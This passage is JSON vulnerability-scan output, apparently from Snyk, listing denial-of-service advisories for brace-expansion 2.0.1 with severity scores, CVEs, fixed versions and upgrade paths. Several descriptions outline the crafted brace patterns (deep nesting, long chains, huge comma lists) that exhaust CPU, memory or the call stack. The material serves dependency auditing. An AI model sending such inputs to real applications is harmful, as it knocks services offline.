"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
